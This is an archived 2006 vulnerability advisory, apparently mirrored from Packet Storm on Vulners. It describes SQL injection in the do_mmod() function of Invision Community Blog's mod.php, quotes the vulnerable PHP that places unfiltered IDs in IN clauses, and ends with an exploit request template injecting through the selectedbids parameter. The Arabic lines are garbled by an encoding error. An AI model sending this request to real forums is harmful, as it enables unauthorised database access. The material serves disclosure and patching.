Lucene search
K

invisionCBSQL.txt

🗓️ 06 May 2006 00:00:00Reported by D3vil-0x1Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Insecure use of intval in do_mmod() function allows SQL Injection in Invision Community Blo

Code
`[LEFT]  
Invision Community Blog .. Bugs  
  
SQL Injection :-  
  
Filename :- mod.php  
Function name :- do_mmod()  
  
The $ids Unfilter Input By Intval As Array :) So We Can Do SQL Injection -->  
* Arabic *  
[/LEFT]  
[RIGHT]  
ÇáãÊÛíÑ $ids ÛíÑ ãÝáÊÑ Úä ØÑíÞ ÇáÏÇáå intval æåæ ÈÔßá ãÕÝæÝå .. áåÐÇ ÇáÓÈÈ ããßä Úãá ÷ÍÞäå  
[/RIGHT]  
[LEFT]  
[php]  
$ids = array();  
$ids = explode( ',', $this->ipsclass->input['selectedbids'] );  
  
...  
  
$ids = implode( ',', $ids );  
  
...  
  
$this->ipsclass->DB->do_update ( 'blog_blogs', array ( 'blog_disabled' => 1 ), "blog_id IN ({$ids})" );  
$this->ipsclass->DB->simple_construct ( array ( 'select' => 'member_id', 'from' => 'blog_blogs', 'where' => "blog_id IN ({$ids})" ) );  
$this->ipsclass->DB->simple_exec();  
  
....  
  
$this->ipsclass->DB->do_update ( 'blog_blogs', array ( 'blog_disabled' => 0 ), "blog_id IN ({$ids})");  
$this->ipsclass->DB->simple_construct ( array ( 'select' => 'member_id', 'from' => 'blog_blogs', 'where' => "blog_id IN ({$ids})" ) );  
  
....  
  
[/php]  
[/LEFT]  
[RIGHT]  
*ÇáÇÓÊÛáÇá*  
[/RIGHT]  
[LEFT]  
Exploit :-  
  
GET ^  
/IBP/index.php?  
POST ^  
automodule=blog&req=blogmmod&auth_key=[auth_key]&selectedbids=-1,-1)[SQL]&blogact=unpin  
[/LEFT]  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 May 2006 00:00Current
7.4High risk
Vulners AI Score7.4
16